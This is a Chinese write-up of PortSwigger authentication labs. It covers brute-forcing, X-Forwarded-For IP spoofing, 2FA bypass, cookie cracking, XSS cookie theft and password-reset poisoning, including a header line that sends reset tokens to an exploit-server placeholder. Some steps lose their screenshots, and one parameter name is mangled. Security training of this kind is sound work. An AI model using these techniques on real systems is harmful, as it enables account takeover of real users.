https://portswigger.net/web-security/authentication#what-is-authentication
### 身份验证漏洞
从概念上讲,身份验证漏洞很容易理解。然而,由于身份验证和安全性之间的明确关系,它们通常至关重要。
身份验证漏洞可能使攻击者能够访问敏感数据和功能。它们还暴露了额外的攻击面以供进一步利用。因此,了解如何识别和利用身份验证漏洞以及如何绕过常见的保护措施非常重要
### 身份验证机制中的漏洞
网站的身份验证系统通常由几种不同的机制组成,这些机制可能会出现漏洞。一些漏洞适用于所有这些环境。其他的则更具体于所提供的功能。
我们将更仔细地研究以下领域的一些最常见的漏洞:
基于密码的登录 LABS中的漏洞
多因素身份验证 实验室中的漏洞
其他身份验证机制实验室中的漏洞
### 实验要求:
该实验室容易受到用户名枚举和密码暴力攻击。它有一个具有可预测的用户名和密码的帐户,可以在以下单词列表中找到:
候选人用户名
候选人密码
要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。
### 实验操作:
运行 Burp 时,调查登录页面并提交无效的用户名和密码。
在 Burp 中,转到“代理”>“HTTP 历史记录”并找到该POST /login请求。username突出显示请求中的参数 值并将其发送到 Burp Intruder。
在 Burp Intruder 中,转到“位置”选项卡。请注意,该username参数会自动设置为有效负载位置。该位置由两个符号表示§,例如:username=§invalid-username§。现在将密码保留为任何静态值。
确保选择了狙击手攻击类型。
在“有效负载”选项卡上,确保选择“简单列表”有效负载类型。
在Payload settings 下,粘贴候选用户名列表。最后点击开始攻击。攻击将在新窗口中开始。
攻击完成后,在“结果”选项卡上检查“长度”列。您可以单击列标题对结果进行排序。请注意,其中一个条目比其他条目长。将此负载的响应与其他响应进行比较。请注意,其他响应包含该消息Invalid username,但此响应说Incorrect password。记下“有效负载”列中的用户名。
关闭攻击并返回“位置”选项卡。单击“清除”,然后将username参数更改为您刚刚识别的用户名。将有效负载位置添加到password参数中。结果应该是这样的:
username=identified-user&password=§invalid-password§
在“有效负载”选项卡上,清除用户名列表并将其替换为候选密码列表。单击开始攻击。
攻击完成后,查看“状态”列。请注意,每个请求都收到带有状态代码的响应200,但只有一个请求收到了302响应。这表明登录尝试成功 - 记下“有效负载”列中的密码。
使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。
继续爆破密码:
浏览器尝试:apps:princess登陆成功:
### 实验要求:
该实验室很容易受到用户名枚举和密码暴力攻击。它有一个具有可预测的用户名和密码的帐户,可以在以下单词列表中找到:
候选人用户名
候选人密码
要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。
### 实验操作:
在 Burp 运行时,提交无效的用户名和密码。突出显示请求username中的参数POST /login并将其发送到 Burp Intruder。
在“有效负载”选项卡上,请注意该username参数会自动标记为有效负载位置。确保选择简单列表有效负载类型并添加候选用户名列表。
在“设置”选项卡上的“Grep - Extract”下,单击“添加”。在出现的对话框中,向下滚动响应,直到找到错误消息Invalid username or password.。使用鼠标突出显示消息的文本内容。其他设置将自动调整。单击“确定”,然后开始攻击。
攻击完成后,请注意有一个附加列包含您提取的错误消息。使用此列对结果进行排序,您会发现其中一个略有不同。
仔细查看此响应,请注意它在错误消息中包含拼写错误 - 不是句号/句号,而是尾随空格。记下该用户名。
关闭攻击并返回“位置”选项卡。插入您刚刚识别的用户名并将有效负载位置添加到参数中password:
username=identified-user&password=§invalid-password§
在“有效负载”选项卡上,清除用户名列表并将其替换为密码列表。开始攻击。
攻击完成后,请注意其中一个请求收到了响应302。记下该密码。
使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。
### 实验要求:
该实验室很容易受到利用其响应时间的用户名枚举的攻击。要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。
您的凭据:wiener:peter
候选人用户名
候选人密码
### 实验操作:
在 Burp 运行的情况下,提交无效的用户名和密码,然后将请求发送POST /login到 Burp Repeater。尝试不同的用户名和密码。请注意,如果您尝试多次无效登录,您的 IP 将被封锁。
确定X-Forwarded-For标头受支持,这允许您欺骗您的 IP 地址并绕过基于 IP 的暴力保护。
继续尝试用户名和密码。特别注意响应时间。请注意,当用户名无效时,响应时间大致相同。但是,当您输入有效的用户名(您自己的)时,响应时间会根据您输入的密码长度而增加。
将此请求发送到 Burp Intruder 并选择攻击类型为Pitchfork。添加X-Forwarded-For标题。
添加X-Forwarded-For标头和username参数的有效负载位置。将密码设置为很长的字符串(大约 100 个字符即可)。
在“有效负载”选项卡上,选择有效负载集 1。选择“数字”有效负载类型。输入范围 1 - 100 并将步长设置为 1。将最大小数位数设置为 0。这将用于欺骗您的 IP。
选择有效负载集 2 并添加用户名列表。开始攻击。
攻击完成后,在对话框顶部单击“列”并选择“已收到响应”和“已完成响应”选项。这两列现在显示在结果表中。
请注意,其中一个响应时间明显长于其他响应时间。重复此请求几次,以确保它始终需要更长的时间,然后记下此用户名。
针对同一请求创建新的 Burp Intruder 攻击。再次添加X-Forwarded-For标头并为其添加有效负载位置。插入您刚刚识别的用户名并将有效负载位置添加到参数中password。
在“有效负载”选项卡上,将数字列表添加到有效负载集 1 中,并将密码列表添加到有效负载集 2 中。开始攻击。
攻击完成后,找到带有302状态的响应。记下该密码。
使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。
此实验,对ip有限制
爆破时候加上X-Forwarded-For:
爆破密码:
carlos
root
admin
test
user
### 实验要求:
该实验室由于其密码暴力保护中的逻辑缺陷而容易受到攻击。要解决该实验室问题,请暴力破解受害者的密码,然后登录并访问他们的帐户页面。
您的凭据:wiener:peter
受害者的用户名:carlos
候选人密码
### 实验操作:
运行 Burp 后,调查登录页面。请注意,如果您连续提交 3 次错误登录,您的 IP 会被暂时封锁。但是,请注意,您可以在达到此限制之前登录到您自己的帐户来重置登录尝试失败次数的计数器。
输入无效的用户名和密码,然后将POST /login请求发送到 Burp Intruder。username使用和参数中的有效负载位置创建干草叉攻击password。
在“资源池”选项卡上,将攻击添加到资源池,并将“最大并发请求数”设置为1。通过一次仅发送一个请求,您可以确保您的登录尝试以正确的顺序发送到服务器。
在“有效负载”选项卡上,选择有效负载集 1。添加在您的用户名和 之间交替的有效负载列表carlos。确保您的用户名位于第一位,并且carlos至少重复 100 次。
编辑候选密码列表并在每个密码前添加您自己的密码。确保您的密码与其他列表中的用户名一致。
将此列表添加到有效负载集 2 中并开始攻击。
攻击完成后,过滤结果以隐藏状态代码为 200 的响应。按用户名对剩余结果进行排序。对于使用 username 的请求,应该只有一个 302 响应carlos。记下“有效负载 2 ”列中的密码。
使用您识别的密码登录卡洛斯的帐户并访问他的帐户页面以解决实验室问题。
因为每错3次就会封ip,所以在连续登陆错3次内,循环插入正确的账号和密码(且不能多线程,不然就容易直接错3次了)
(使用notepad++的替换功能构造用户和密码本),有100个密码,所以构造100行要爆破的目标用户:
### 实验要求:
该实验室容易受到用户名枚举的攻击。它使用帐户锁定,但这包含逻辑缺陷。要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。
候选人用户名
候选人密码
### 实验操作:
运行 Burp 时,调查登录页面并提交无效的用户名和密码。将请求发送POST /login给 Burp Intruder。
选择攻击类型集束炸弹。将有效负载位置添加到username参数中。单击“添加 §”两次,将空白负载位置添加到请求正文的末尾。结果应该是这样的:
username=§invalid-username§&password=example§§
在“有效负载”选项卡上,将用户名列表添加到第一个有效负载集。对于第二组,选择空负载类型并选择生成 5 个负载的选项。这实际上会导致每个用户名重复 5 次。开始攻击。
在结果中,请注意,其中一个用户名的响应比使用其他用户名时的响应长。更仔细地研究响应并注意它包含不同的错误消息:You have made too many incorrect login attempts.记下此用户名。
对请求创建新的 Burp Intruder 攻击POST /login,但这次选择Sniper攻击类型。将参数设置username为您刚刚识别的用户名,并向password参数添加有效负载位置。
将密码列表添加到有效负载集中,并为错误消息创建 grep 提取规则。开始攻击。
在结果中,查看 grep extract 列。请注意,有几个不同的错误消息,但其中一个响应不包含任何错误消息。记下该密码。
等待一分钟,让帐户锁定重置。使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。
发现重复登陆5次就会锁定账号,所以把所有账号重复进行5次枚举(使用集束炸弹Cluster bomb),观察响应包
爆破完毕,发现了被锁定的账户:austin
爆破austin的密码:
### 实验要求:
该实验室由于其暴力保护的逻辑缺陷而容易受到攻击。要解决该实验室问题,请暴力破解卡洛斯的密码,然后访问他的帐户页面。
受害者的用户名:carlos
候选人密码
### 实验操作:
运行 Burp 后,调查登录页面。请注意,该POST /login请求以格式提交登录凭据JSON。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,将密码的单个字符串值替换为包含所有候选密码的字符串数组。例如:
"username" : "carlos",
"password" : [
"123456",
"password",
"qwerty"
...
]
发送请求。这将返回 302 响应。
右键单击该请求并选择在浏览器中显示响应。复制 URL 并将其加载到浏览器中。页面加载并且您以 登录carlos。
单击我的帐户访问卡洛斯的帐户页面并解决实验室问题。
### 实验要求:
该实验室的双因素身份验证可以被绕过。您已获得有效的用户名和密码,但无权访问用户的2FA验证码。要解决该实验室问题,请访问卡洛斯的帐户页面。
您的凭据:wiener:peter
受害人的身份证明carlos:montoya
### 实验操作:
登录您自己的帐户。您的 2FA 验证码将通过电子邮件发送给您。单击电子邮件客户端按钮访问您的电子邮件。
转到您的帐户页面并记下 URL。
退出您的帐户。
使用受害者的凭据登录。
当提示输入验证码时,手动更改 URL 以导航到/my-account。当页面加载时,实验室就解决了。
实验安全码登陆,让后记录下url :https://0a78009d03047752845a0ea90095008a.web-security-academy.net/my-account?id=wiener
退出登陆,使用calos账户登陆,验证安全码的时候直接使用上面url访问,用户登陆成功:直接浏览器访问:https://0a78009d03047752845a0ea90095008a.web-security-academy.net/my-account
步骤1:分析登陆逻辑:
302重定向到2FA认证:服务端产生验证码,并发送到用户的邮箱:
然后注销wiener用户:重新登陆wiener:peter
开启拦截:
发送到intruder:爆破carlos的验证码:
爆破成功:
然后右键——》在浏览器显示响应就ok。
### 实验要求:
该实验室的双因素身份验证很容易受到暴力破解。您已获得有效的用户名和密码,但无权访问用户的2FA验证码。要解决该实验室问题,请暴力破解 2FA 代码并访问 Carlos 的帐户页面。
受害人身份证明:carlos:montoya
### 实验操作:
在 Burp 运行的情况下,登录carlos并调查 2FA 验证过程。请注意,如果您两次输入错误代码,您将再次注销。您需要使用 Burp 的会话处理功能在发送每个请求之前自动重新登录。
在 Burp 中,转到项目选项 > 会话。在“会话处理规则”面板中,单击“添加”。会话处理规则编辑器对话框打开。
在对话框中,转到“范围”选项卡。在“URL 范围”下,选择“包括所有 URL”选项。
返回“详细信息”选项卡,然后在“规则操作”下单击“添加”>“运行宏”。
在“选择宏”下单击“添加”以打开“宏记录器”。选择以下 3 个请求:
GET /login
POST /login
GET /login2
然后单击“确定”。“宏编辑器”对话框打开。
单击测试宏并检查最终响应是否包含要求您提供 4 位安全代码的页面。这证实了宏工作正常。
继续单击“确定”关闭各个对话框,直到返回 Burp 主窗口。现在,在 Burp Intruder 发送每个请求之前,宏会自动以 Carlos 身份重新登录。
将请求发送POST /login2给 Burp Intruder。
在 Burp Intruder 中,将有效负载位置添加到mfa-code参数中。
在“有效负载”选项卡上,选择“Numbers”有效负载类型。输入范围 0 - 9999 并将步长设置为 1。将最小/最大整数位设置为 4,最大小数位设置为 0。这将为每个可能的 4 位整数创建有效负载。
转到“资源池”选项卡,将攻击添加到资源池,并将“最大并发请求数”设置为1。
开始攻击。最终,其中一个请求将返回 302 状态代码。右键单击该请求并选择在浏览器中显示响应。复制 URL 并将其加载到浏览器中。
单击我的帐户来解决实验。
注意:在 Burp 运行的情况下,登录carlos并调查 2FA 验证过程。请注意,如果您两次输入错误代码,您将再次注销。您需要使用 Burp 的会话处理功能在发送每个请求之前自动重新登录。爆破前使用宏来处理此问题。
会话处理——》添加宏规则:
爆破时候线程选择为1,否则宏运行的动作跟不上导致错误:
### 实验要求:
该实验允许用户即使在关闭浏览器会话后也能保持登录状态。用于提供此功能的 cookie 很容易受到暴力破解。
要解决这个实验室问题,需要暴力破解 Carlos 的 cookie,以访问他的“我的帐户”页面。
您的凭据:wiener:peter
受害者的用户名:carlos
候选人密码
### 实验操作:
运行 Burp 后,登录到您自己的帐户并选择“保持登录状态”选项。请注意,这会设置一个stay-logged-incookie。
在检查器面板 中检查此 cookie ,并注意它是 Base64 编码的。其解码值为wiener:51dc30ddc473d43a6011e9ebba6ca770.研究该字符串的长度和字符集,并注意它可能是 MD5 哈希值。鉴于明文是您的用户名,您可以有根据地猜测这可能是您密码的哈希值。使用 MD5 对您的密码进行哈希处理以确认情况确实如此。我们现在知道cookie的构造如下:
base64(username+':'+md5HashOfPassword)
退出您的帐户。
在最近的 中GET /my-account,突出显示stay-logged-incookie 参数并将请求发送到 Burp Intruder。
在 Burp Intruder 中,请注意stay-logged-incookie 已自动添加为有效负载位置。添加您自己的密码作为单个有效负载。
在Payloadprocessing 下,按顺序添加以下规则。在提交请求之前,这些规则将按顺序应用于每个有效负载。
哈希:MD5
添加前缀:wiener:
编码:Base64-encode
由于仅当您在经过身份验证的状态下访问页面时才会显示“更新电子邮件”/my-account按钮,因此我们可以使用此按钮的存在与否来确定我们是否已成功暴力破解 cookie。在“设置”选项卡上,添加 grep 匹配规则以标记包含字符串 的任何响应Update email。开始攻击。
请注意,生成的有效负载用于成功加载您自己的帐户页面。这证实了有效负载处理规则按预期工作,并且您能够为自己的帐户构建有效的 cookie。
进行以下调整,然后重复此攻击:
从有效负载列表中删除您自己的密码,然后添加候选密码 列表。
将添加前缀规则 更改为 addcarlos:而不是wiener:。
当攻击完成后,实验室就会被解决。请注意,只有一个请求返回了包含Update email.此请求的有效负载是stay-logged-inCarlos 帐户的有效 cookie。
### 实验要求:
本实验将用户的密码哈希存储在 cookie 中。该实验室的评论功能中还存在 XSS 漏洞。要解决这个实验室问题,请获取卡洛斯的stay-logged-incookie 并用它来破解他的密码。然后,登录carlos并从“我的帐户”页面删除他的帐户。
您的凭据:wiener:peter
受害者的用户名:carlos
###
当 Burp 运行时,使用您自己的帐户来研究“保持登录”功能。请注意,stay-logged-incookie 是 Base64 编码的。
在“代理”>“HTTP 历史记录”选项卡中,转到“对登录请求的响应”stay-logged-in并突出显示cookie,以查看其构造如下:
username+':'+md5HashOfPassword
您现在需要窃取受害用户的 cookie。请注意,评论功能容易受到 XSS 攻击。
转到漏洞利用服务器并记下 URL。
转到其中一个博客并发布包含以下存储的 XSS负载的评论,请记住输入您自己的漏洞利用服务器 ID:
在漏洞利用服务器上,打开访问日志。GET受害者应该发出包含stay-logged-incookie 的请求。
在 Burp Decoder 中解码 cookie。结果将是:
carlos:26323c16d5f4dabff3bb136f2460a943
复制哈希并将其粘贴到搜索引擎中。这将显示密码是onceuponatime。
登录受害者的帐户,进入“我的帐户”页面,删除他们的帐户即可解决实验室问题。
第一步:登陆查看正常用户wiener,发现cookie的加密方式为:username+‘:’+md5HashOfPassword 【与上一个实验操作一样,步骤略…】
第二步:xss漏洞获取目标用户cookie:在目标站点存在xss漏洞的地方插入下面恶意js:
我的是:
第三步:解密xss获取的目标用户cookie,使用密码登陆:
carlos:onceuponatime
### 实验要求:
该实验室的密码重置功能存在漏洞。要解决实验室问题,请重置卡洛斯的密码,然后登录并访问他的“我的帐户”页面。
您的凭据:wiener:peter
受害者的用户名:carlos
### 实验操作:
运行 Burp 时,单击忘记密码?链接并输入您自己的用户名。
单击电子邮件客户端按钮查看已发送的密码重置电子邮件。单击电子邮件中的链接并将您的密码重置为您想要的任何内容。
在 Burp 中,转到代理 > HTTP 历史记录并研究密码重置功能的请求和响应。请注意,重置令牌作为重置电子邮件中的 URL 查询参数提供。请注意,当您提交新密码时,请求POST /forgot-password?temp-forgot-password-token包含用户名作为隐藏输入。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,观察到即使您删除了temp-forgot-password-tokenURL 和请求正文中的参数值,密码重置功能仍然有效。这确认您提交新密码时不会检查令牌。
在浏览器中,请求重置新密码并再次更改密码。POST /forgot-password?temp-forgot-password-token再次向 Burp Repeater 发送请求。
temp-forgot-password-token在 Burp Repeater 中,删除URL 和请求正文中 的参数值。将username参数更改为carlos.将新密码设置为您想要的任何内容并发送请求。
在浏览器中,使用您刚刚设置的新密码登录卡洛斯的帐户。单击我的帐户来解决实验。
### 实验要求:
该实验室容易受到密码重置中毒的影响。用户carlos会不小心点击他收到的电子邮件中的任何链接。要解决实验室问题,请登录卡洛斯的帐户。您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。
### 实验操作:
在 Burp 运行的情况下,研究密码重置功能。请注意,包含唯一重置令牌的链接是通过电子邮件发送的。
将POST /forgot-password请求发送到 Burp Repeater。请注意,该X-Forwarded-Host标头受支持,您可以使用它将动态生成的重置链接指向任意域。
转到漏洞利用服务器并记下您的漏洞利用服务器 URL。
返回到 Burp Repeater 中的请求并添加X-Forwarded-Host带有漏洞利用服务器 URL 的标头:
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
将参数更改username为carlos并发送请求。
转到漏洞利用服务器并打开访问日志。您应该看到一个GET /forgot-password请求,其中包含受害者的令牌作为查询参数。记下此标记。
返回您的电子邮件客户端并复制有效的密码重置链接(不是指向漏洞利用服务器的链接)。将其粘贴到浏览器中并将参数值更改temp-forgot-password-token为您从受害者那里窃取的值。
加载此 URL 并为 Carlos 的帐户设置新密码。
使用新密码登录卡洛斯的帐户来解决实验室问题
已有凭据:wiener:peter
本实验中X-Forwarded-Host标头是受支持的,使用它来将动态生成的重置链接指向自己控制的任意域
步骤1:通过修改X-Forwarded-Host,使得重置密码的token发送到自己控制的服务器日志上
步骤2:获得重置密码的链接,在邮箱中
步骤3:构造重置密码链接,修改其中的token和要重置的账户用户名,重置密码
步骤4:登陆受害者的账户
/forgot-password?temp-forgot-password-token=4he59drfur002u2jvljlh3tcw350t788
抓包:修改为calos的修改邮箱token:
### 身份认证漏洞:
https://mp.weixin.qq.com/s/91FoxKkAMG9vf-iWRwBK4A
https://mp.weixin.qq.com/s/ncdkqidjMbPFKsJHCvd54Q
### portswigger官方:身份认证漏洞:
https://portswigger.net/web-security/authentication#what-is-authentication
### owasp:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README
### payloadallthetings:
https://github.com/swisskyrepo/PayloadsAllTheThings
### 实验要求:
该实验室的密码更改功能使其容易受到暴力攻击。要解决这个实验室问题,请使用候选密码列表来暴力破解 Carlos 的帐户并访问他的“我的帐户”页面。
您的凭据:wiener:peter
受害者的用户名:carlos
候选人密码
### 实验操作:
运行 Burp 后,登录并尝试密码更改功能。请注意,用户名作为请求中的隐藏输入提交。
请注意输入错误的当前密码时的行为。如果新密码的两次输入匹配,则帐户被锁定。但是,如果您输入两个不同的新密码,则会出现一条错误消息,仅指出Current password is incorrect。如果您输入有效的当前密码,但输入了两个不同的新密码,则消息会显示New passwords do not match。我们可以使用此消息来枚举正确的密码。
输入正确的当前密码和两个不匹配的新密码。将此POST /my-account/change-password请求发送给 Burp Intruder。
在Burp Intruder中,将username参数更改为carlos并向该current-password参数添加有效负载位置。确保新密码参数设置为两个不同的值。例如:
username=carlos¤t-password=§incorrect-password§&new-password-1=123&new-password-2=abc
在“有效负载”选项卡上,输入密码列表作为有效负载集
在“设置”选项卡上,添加 grep 匹配规则以标记包含New passwords do not match.开始攻击。
攻击完成后,请注意发现了一个包含该New passwords do not match消息的响应。记下该密码。
在浏览器中,注销您自己的帐户,然后使用carlos您刚刚识别的用户名和密码重新锁定。
单击我的帐户来解决实验